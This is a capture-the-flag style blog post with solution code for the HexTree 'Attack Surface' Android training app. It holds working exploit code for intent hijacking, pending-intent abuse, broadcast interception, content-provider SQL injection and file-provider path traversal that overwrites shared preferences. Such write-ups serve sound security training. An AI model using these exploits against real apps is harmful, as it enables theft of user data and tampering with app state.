Posts HexTree Attack Surface Android App Solutions
Post
Cancel

HexTree Attack Surface Android App Solutions

Introduction

Peace be upon all of you. In this post I am going to share all the solutions for the Attack Surface Android app, which is part of the amazing Hextree Android Application Security course. This app is packed with hands-on challenges to practice many real-world Android vulnerabilities.

Course Link: https://app.hextree.io/map/android

image.png

Intents Attacks

Flag1

Basic exported activity

1
adb shell am start-activity -n io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag1Activity

Flag2

Intent with extras

1
2
3
4
Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag3Activity");
exploitIntent.setAction("io.hextree.action.GIVE_FLAG");
startActivity(exploitIntent);

Flag3

Intent with a data URI

1
2
3
4
5
Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag3Activity");
exploitIntent.setAction("io.hextree.action.GIVE_FLAG");
exploitIntent.setData(Uri.parse("https://app.hextree.io/map/android"));
startActivity(exploitIntent);

Flag4

State Machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Intent exploitIntent3 = new Intent();
exploitIntent3.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent3.setAction("GET_FLAG_ACTION");
startActivity(exploitIntent3);

Intent exploitIntent2 = new Intent();
exploitIntent2.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent2.setAction("BUILD_ACTION");
startActivity(exploitIntent2);

Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent.setAction("PREPARE_ACTION");
startActivity(exploitIntent);

Flag5

Intent in intent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// nextIntent -- Intent3
Intent exploitIntent3 = new Intent();
exploitIntent3.putExtra("reason", "back");

// Intent2
Intent exploitIntent2 = new Intent();
exploitIntent2.putExtra("return", 42);
exploitIntent2.putExtra("nextIntent", exploitIntent3);

// Main Intent -- Intent
Intent exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag5Activity");
exploitIntent1.putExtra("android.intent.extra.INTENT", exploitIntent2);
startActivity(exploitIntent1);

Flag6

Not Exported

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// nextIntent -- Intent3
Intent exploitIntent3 = new Intent();
exploitIntent3.putExtra("reason", "next");
exploitIntent3.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
exploitIntent3.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag6Activity");

// Intent2
Intent exploitIntent2 = new Intent();
exploitIntent2.putExtra("return", 42);
exploitIntent2.putExtra("nextIntent", exploitIntent3);

// Main Intent -- Intent
Intent exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag5Activity");
exploitIntent1.putExtra("android.intent.extra.INTENT", exploitIntent2);
startActivity(exploitIntent1);

Flag7

Activity Lifecycle tricks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Intent OpenIntent = new Intent();
OpenIntent.setAction("OPEN");
OpenIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag7Activity");
startActivity(OpenIntent);

Handler handler = new Handler();
handler.postDelayed(() -> {
    // Send the "REOPEN" action to trigger onNewIntent
    Intent exploitIntent1 = new Intent();
    exploitIntent1.setAction("REOPEN");
    exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag7Activity");
    exploitIntent1.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
    startActivity(exploitIntent1);
}, 2000);

Flag8

Do you expect a result?

1
2
3
4
// Make sure your package Name contains "Hextree" 
exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag8Activity");
startActivityForResult(exploitIntent1, 0);

Flag9

Receive result with flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Make sure your package Name contains "Hextree" 
protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  // Main Intent -- Intent
  Intent exploitIntent1 = new Intent();
  exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag9Activity");
  startActivityForResult(exploitIntent1, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
  super.onActivityResult(requestCode, resultCode, data);
  String result = data.getStringExtra("flag");
  Log.d("Flag9", result);
}

Flag10

Hijack implicit intent with the flag

1
2
3
4
5
6
7
8
<activity
    android:name=".SecondActivity"
    android:exported="true" >
<intent-filter>
    <action android:name="io.hextree.attacksurface.ATTACK_ME"/>
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
7
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
    String flag = intent.getStringExtra("flag");
    Log.d("Flag10", flag);
}else{
    Log.d("Flag10", "Not Received");
}

Flag11

Respond to implicit intent

1
2
3
4
5
6
7
8
<activity
    android:name=".SecondActivity"
    android:exported="true" >
<intent-filter>
    <action android:name="io.hextree.attacksurface.ATTACK_ME"/>
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
    setResult(42, intent.putExtra("token", 1094795585));
}else{
    Log.d("Flag11", "Not Received");
}

Flag12

Careful intent conditions

1
2
3
4
5
6
7
8
<activity
    android:name=".SecondActivity"
    android:exported="true" >
<intent-filter>
    <action android:name="io.hextree.attacksurface.ATTACK_ME"/>
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

Main Activity

1
2
3
4
Intent intent2 = new Intent();
intent2.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag12Activity");
intent2.putExtra("LOGIN", true);
startActivity(intent2);

SecondActvity

1
2
3
4
5
6
7
8
9
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
    intent.putExtra("token", 1094795585);
    setResult(42, intent);
    finish();
    Log.d("Flag12", "Accessed");
}else{
		Log.d("Flag12", "Not Received");
}

Flag22

Receive Pending Intent

Main Activity

1
2
3
4
5
6
7
8
Intent targetIntent = new Intent();
targetIntent.setClass(this,  SecondActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this,0,targetIntent, PendingIntent.FLAG_UPDATE_CURRENT);

Intent sendIntent = new Intent();
sendIntent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag22Activity");
sendIntent.putExtra("PENDING", pendingIntent);
startActivity(sendIntent);

Second Activity

1
2
3
4
5
6
7
Intent receivedIntent = getIntent();
if (receivedIntent != null) {
    String flag = receivedIntent.getStringExtra("flag");
    Log.d("Flag22", flag);
}else{
    Log.d("Flag22", "???");
}

Flag23

Hijack Pending Intent

1
2
3
4
5
6
7
8
<activity
  android:name=".SecondActivity"
  android:exported="true" >
<intent-filter>
  <action android:name="io.hextree.attacksurface.MUTATE_ME"/>
  <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
Intent receivedIntent = getIntent();
PendingIntent pendingIntent = receivedIntent.getParcelableExtra("pending_intent");
Intent newIntent = new Intent();
newIntent.setAction("io.hextree.attacksurface.GIVE_FLAG");
newIntent.putExtra("code", 42);

try {
    pendingIntent.send(this, 0, newIntent);
} catch (PendingIntent.CanceledException e) {
    e.printStackTrace();
}

Flag13

create a hex://open/ link

Via the link builder:

https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=

hex://flag?action=give-me

Flag14

Hijack web login

1
2
3
4
5
6
7
8
9
10
11
12
<activity
android:name=".SecondActivity"
android:exported="true" >
<intent-filter>
  <action android:name="android.intent.action.VIEW"/>
  <category android:name="android.intent.category.DEFAULT"/>
  <category android:name="android.intent.category.BROWSABLE"/>
<data
    android:scheme="hex"
    android:host="token"/>
  </intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
12
13
Intent receivedIntent = getIntent();
if(receivedIntent.getAction() == "android.intent.action.VIEW"){
    Uri data = receivedIntent.getData();
    Log.d("queryParameters", String.valueOf(data));
    String authToken = data.getQueryParameter("authToken");
    String authChallenge = data.getQueryParameter("authChallenge");

    Intent sendIntent = new Intent();
    sendIntent.setAction("android.intent.action.VIEW");
    sendIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag14Activity");
    sendIntent.setData(Uri.parse("hex://token?authToken="+authToken+"&type=admin&authChallenge="+authChallenge));
    startActivity(sendIntent);
}

Flag15

Create a intent://flag15 / link

Via the link builder:

https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=

1
intent:#Intent;package=io.hextree.attacksurface;action=io.hextree.action.GIVE_FLAG;S.action=flag;S.open=flag;B.flag=true;end;

Broadcast Receivers

Flag16

Basic Exposed Receiver

1
2
3
4
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag16Receiver");
intent.putExtra("flag","give-flag-16");
sendBroadcast(intent);

Flag17

Receiver with Response

1
2
3
4
Intent intent = new Intent();
intent.putExtra("flag","give-flag-17");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag17Receiver");
sendOrderedBroadcast(intent, null);

Flag18

Hijack Broadcast Intent

1
2
3
4
5
6
7
8
9
10
BroadcastReceiver receiver = new BroadcastReceiver() {
@Override
// Once a broadcast received with a specific intent
public void onReceive(Context context, Intent intent) {
    setResultCode(1);
    setResultData("Heey");
}
};
// Waiting for any broadcast with this intent "io.hextree.broadcast.FREE_FLAG"
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.FREE_FLAG"));

Widgets

Flag19

Widget System intents

1
2
3
4
5
6
7
8
Intent intent = new Intent();
intent.setAction("APPWIDGET_UPDATE");
Bundle bundle = new Bundle();
bundle.putInt("appWidgetMaxHeight", 1094795585);
bundle.putInt("appWidgetMinHeight", 322376503);
intent.putExtra("appWidgetOptions", bundle);
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag19Widget");
sendBroadcast(intent);

Notifications

Flag20

Notification Button Intents

1
2
3
4
Intent intent = new Intent();
intent.setAction("io.hextree.broadcast.GET_FLAG");
intent.putExtra("give-flag", true);
sendBroadcast(intent);

Flag21

Hijack Notification Button

1
2
3
4
5
6
7
8
9
BroadcastReceiver receiver = new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        String flag = intent.getStringExtra("flag");
        Log.d("flag21", flag);
    }
};
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.GIVE_FLAG"));
}

Services

Flag24

Basic Service Start

1
2
3
4
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag24Service");
intent.setAction("io.hextree.services.START_FLAG24_SERVICE");
startService(intent);

Flag25

Service Lifecycle

1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag25Service");
// Change a lock number each time
intent.setAction("io.hextree.services.UNLOCK1");
startService(intent);

Message Handler

Flag26

Basic Message Handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class MainActivity extends AppCompatActivity {

private boolean isBound = false;
private ServiceConnection connection = new ServiceConnection() {
    @Override
    public void onServiceConnected(ComponentName name, IBinder service) {
        Messenger serviceMessenger = new Messenger(service);
        isBound = true;

        // Method to send messages to the service
        Message msg = Message.obtain(null, 42);
        try{
            serviceMessenger.send(msg);
        }
        catch (RemoteException e){
            throw new RuntimeException(e);
        }
    }
    @Override
    public void onServiceDisconnected(ComponentName name) {
    }
};
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // Bind to the service
    Intent intent = new Intent();
    intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag26Service");
    bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
}

Flag27

Message Replies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class MainActivity extends AppCompatActivity {
private boolean isBound = false;
private final Messenger clientMessegener = new Messenger(new IncomingHandler());
private Messenger serviceMessenger = null;
private String obtainedPassword;

private class IncomingHandler extends Handler{
IncomingHandler() {super(Looper.getMainLooper());}

  @Override
  public void handleMessage(Message msg){
      Bundle reply =  msg.getData();
      obtainedPassword = reply.getString("password");
      if(reply != null && obtainedPassword != null) {
          Log.i("MessageReply1234", reply.toString());
          Log.d("MessageReply1234", "Obtained password: " + obtainedPassword);
          
          **getFlag(obtainedPassword);**
      }
      else{
          Log.i("Message1234", "NO Reply");
      }

  }
}
private ServiceConnection connection = new ServiceConnection() {
  @Override
  public void onServiceConnected(ComponentName name, IBinder binder) {
      serviceMessenger = new Messenger(binder);
      isBound = true;
      **// Start by getting the secret
      requestPassword();**
  }
  @Override
  public void onServiceDisconnected(ComponentName name) {
  }
};

// Method to request the password
private void requestPassword() {
    if (!isBound) return;
    Message msg = Message.obtain(null, 2);
    msg.obj = new Bundle();
    msg.replyTo = clientMessegener;
    try {
        serviceMessenger.send(msg);
    } catch (RemoteException e) {
        e.printStackTrace();
    }
}
// Method to request the flag
private void getFlag(String Password) {
    **// First, send "give flag" echo**
    Message msg = Message.obtain(null, 1);
    Bundle bundle = new Bundle();
    bundle.putString("echo", "give flag");
    msg.setData(bundle);
    msg.replyTo = clientMessegener;
    try {
        serviceMessenger.send(msg);
    } catch (RemoteException e) {
        e.printStackTrace();
    }

    **// Now, send the retrevied password with int = 3 to get flag**
    msg = Message.obtain(null, 3);
    bundle = new Bundle();
    bundle.putString("password", Password);
    msg.setData(bundle);
    msg.replyTo = clientMessegener;
    try {
        serviceMessenger.send(msg);
    } catch (RemoteException e) {
        e.printStackTrace();
    }
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// Bind to the service
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag27Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
}

AIDL Service

Flag28

Basic AIDL Service

Aidl Interface Code

1
2
3
4
5
6
7
// IFlag28Interface.aidl
package io.hextree.attacksurface.services;

// Declare any non-default types here with import statements
interface IFlag28Interface {
    boolean openFlag();
}

MainActivity Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class MainActivity extends AppCompatActivity {
    private boolean isBound = false;
    private Messenger serviceMessenger = null;

    private ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder binder) {
            serviceMessenger = new Messenger(binder);
            isBound = true;
            IFlag28Interface aidlService = IFlag28Interface.Stub.asInterface(binder);
            try {
                aidlService.openFlag();
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }
        @Override
        public void onServiceDisconnected(ComponentName name) {
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Bind to the service
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag28Service");
        bindService(intent, connection, Context.BIND_AUTO_CREATE);
    }
}

Flag29

AIDL Service

Aidl Interface Code

1
2
3
4
5
6
7
8
9
// IFlag28Interface.aidl
package io.hextree.attacksurface.services;

// Declare any non-default types here with import statements
interface IFlag29Interface {
    String init();
    void authenticate(String str);
    void success();
}

MainActivity Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class MainActivity extends AppCompatActivity {
    private boolean isBound = false;
    private Messenger serviceMessenger = null;

    private ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder binder) {
            serviceMessenger = new Messenger(binder);
            isBound = true;
            IFlag29Interface aidlService = IFlag29Interface.Stub.asInterface(binder);
            try {
                String password = aidlService.init();
                aidlService.authenticate(password);
                aidlService.success();
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }
        @Override
        public void onServiceDisconnected(ComponentName name) {
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Bind to the service
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag29Service");
        bindService(intent, connection, Context.BIND_AUTO_CREATE);
    }
}

Content Provider

Flag30

Content Provider Query

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag30/success");
Cursor cursor = resolver.query(uri, null, null, null, null);

if (cursor != null) {
  // Retrieves all column names
  String[] columnNames = cursor.getColumnNames();
  while (cursor.moveToNext()) {
      for (String columnName : columnNames) {
          String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
          Log.i("ColumnData", columnName + ": " + value);
      }
  }
  cursor.close();
}

Flag31

Provider URI Matching

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag31/flag/31");

Cursor cursor = resolver.query(uri, null, null, null, null);

if (cursor != null) {
    // Retrieves all column names
    String[] columnNames = cursor.getColumnNames();
    while (cursor.moveToNext()) {
        for (String columnName : columnNames) {
            String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
            Log.i("Flag31", columnName + ": " + value);
        }
    }
    cursor.close();
}

Flag32

Injection in Content Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag32/flags");

// Full Query looks like:
// SELECT * FROM Flag WHERE visible=1 AND (1) UNION SELECT * FROM Flag WHERE visible=0 AND (1);
Cursor cursor = resolver.query(uri, null, **"1) UNION SELECT * FROM Flag WHERE visible=0 AND (1"**, null, null);

if (cursor != null) {
    // Retrieves all column names
    String[] columnNames = cursor.getColumnNames();
    while (cursor.moveToNext()) {
        for (String columnName : columnNames) {
            String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
            Log.i("QueryFlag32", columnName + ": " + value);
        }
    }
    cursor.close();
}

Flag33.1

Return Provider Access

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Intent intent = new Intent();
intent.setAction("io.hextree.FLAG33");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag33Activity1");
startActivityForResult(intent, 1);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);

ContentResolver resolver = getContentResolver();
// injecting the selection field which is WHERE clause: SELECT * FROM Flag WHERE _id=2 UNION SELECT 1,title,content,'a' FROM Note
Cursor cursor = resolver.query(data.getData(), null, **"_id=2 UNION SELECT 1,title,content,'a' FROM Note"**, null, null);

if (cursor != null) {
    String[] columnNames = cursor.getColumnNames();
    while (cursor.moveToNext()) {
        for (String columnName : columnNames) {
            String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
            Log.i("QueryFlag33.1", columnName + ": " + value);
        }
    }
    cursor.close();
	}
}

Flag33.2

Implict Provider Access

Creating an exported activity to hijack the intent permissions to access the provider.

1
2
3
4
5
6
7
8
9
10
11
12
<activity
android:name=".SecondActivity"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.FLAG33" />
<category android:name="android.intent.category.DEFAULT" />
<data
    android:scheme="content"
    android:host="io.hextree.flag33_2"
    android:path="/flags"/>
</intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Intent intent = getIntent();

if (intent.getAction() != null){
Log.i("QueryFlag33.2", intent.getAction());
ContentResolver resolver = getContentResolver();
Cursor cursor = resolver.query(intent.getData(), null, "_id=2 UNION SELECT 1,title,content,'a' FROM Note", null, null);

if (cursor != null) {
    String[] columnNames = cursor.getColumnNames();
    while (cursor.moveToNext()) {
        for (String columnName : columnNames) {
            String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
            Log.i("QueryFlag33.2", columnName + ": " + value);
        }
    }
    cursor.close();
}
}

File Provider

Flag34

Simple File Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Intent intent = new Intent();
intent.putExtra("filename", "flags/flag34.txt");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag34Activity");
startActivityForResult(intent, 42);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Log.i("QueryFlag34", String.valueOf(data.getData()));
try {
    InputStream inputStream = getContentResolver().openInputStream(data.getData());
    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
    String line;

    while ((line = reader.readLine()) != null) {
        Log.i("QueryFlagFile34", line);
    }
}
catch (IOException e){
}
}

Flag35

Root-File Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
String stringExtra = getIntent().getStringExtra("filename");
if (stringExtra != null) {
prepareFlag(this, stringExtra);
Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
Intent intent = new Intent();
intent.setData(uriForFile);
intent.addFlags(3);
**setResult(0, intent);**
return;
}
// Returns the absolute path to the directory on the filesystem where files created
Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), "secret.txt"));
Intent intent2 = new Intent();
intent2.setData(uriForFile2);
intent2.addFlags(3);
**setResult(-1, intent2);**
}

Flag36

Overwriting Shared Prefs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  Intent intent = new Intent();
  **intent.putExtra("filename", "../shared_prefs/Flag36Preferences.xml");**
  intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag35Activity");
  startActivityForResult(intent, 42);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
  super.onActivityResult(requestCode, resultCode, data);
  Log.i("QueryFlag36", String.valueOf(data.getData()));
  try {
      // Read the existing XML file
      InputStream inputStream = getContentResolver().openInputStream(data.getData());
      StringBuilder stringBuilder = new StringBuilder();
      BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
      String line;

      **while ((line = reader.readLine()) != null) {
          // Replace false with true
          line = line.replaceAll("false", "true");
          stringBuilder.append(line).append("\n");
      }
      reader.close();

      // Write the modified content back to the file
      OutputStream outputStream = getContentResolver().openOutputStream(data.getData());
      outputStream.write(stringBuilder.toString().getBytes());
      outputStream.close();**
	  // restart the app to take effect
      Intent openFlag36Activity = new Intent();
      openFlag36Activity.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag36Activity");
      startActivity(openFlag36Activity);
  }
  catch (IOException e){
  }
}}

Flag37

File Provider Receivers

MainActiivty

1
2
3
4
5
Intent intent = new Intent();
Uri FileProvider = Uri.parse("content://ItsFadinG.github.io");
intent.setData(FileProvider);
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag37Activity");
startActivity(intent);

Provider XML

1
2
3
4
5
6
<provider
android:name=".AttackProvider"
android:authorities="ItsFadinG.github.io"
android:enabled="true"
android:exported="true">
</provider>

Attack Provider Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class AttackProvider extends ContentProvider {
public AttackProvider() {
}

@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
  Log.i("AttackProvider", "query("+uri.toString()+")");

  MatrixCursor cursor = new MatrixCursor(new String[]{
          OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
  });

  cursor.addRow(new Object[]{
          "../flag37.txt", 1337
  });

  return cursor;
}
@Override
public ParcelFileDescriptor openFile(Uri uri, @NonNull String mode) throws FileNotFoundException {
  Log.i("AttackProvider", "openFile(" + uri.toString() + ")");

  try {
      ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
      ParcelFileDescriptor.AutoCloseOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1]);

      new Thread(() -> {
          try {
              outputStream.write("give flag".getBytes());
              outputStream.close();
          } catch (IOException e) {
              Log.e("AttackProvider", "Error in pipeToParcelFileDescriptor", e);
          }
      }).start();

      return pipe[0];
  } catch (IOException e) {
      throw new FileNotFoundException("Could not open pipe for: " + uri.toString());
  }
}

@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
    Log.i("AttackProvider", "delete("+uri.toString()+")");
    throw new UnsupportedOperationException("Not yet implemented");
}

@Override
public String getType(Uri uri) {
    Log.i("AttackProvider", "getType("+uri.toString()+")");
    throw new UnsupportedOperationException("Not yet implemented");
}

@Override
public Uri insert(Uri uri, ContentValues values) {
    Log.i("AttackProvider", "insert("+uri.toString()+")");
    throw new UnsupportedOperationException("Not yet implemented");
}

@Override
public boolean onCreate() {
    Log.i("AttackProvider", "onCreate()");
    return true;
}

@Override
public int update(Uri uri, ContentValues values, String selection,
                  String[] selectionArgs) {
    Log.i("AttackProvider", "update("+uri.toString()+")");
    throw new UnsupportedOperationException("Not yet implemented");
}
}

Conclusion

I will be happy to hear your thoughts and feedback. Also, let me know if you need a detailed explanation for any of these challenges. PEACE!

This post is licensed under CC BY 4.0 by the author.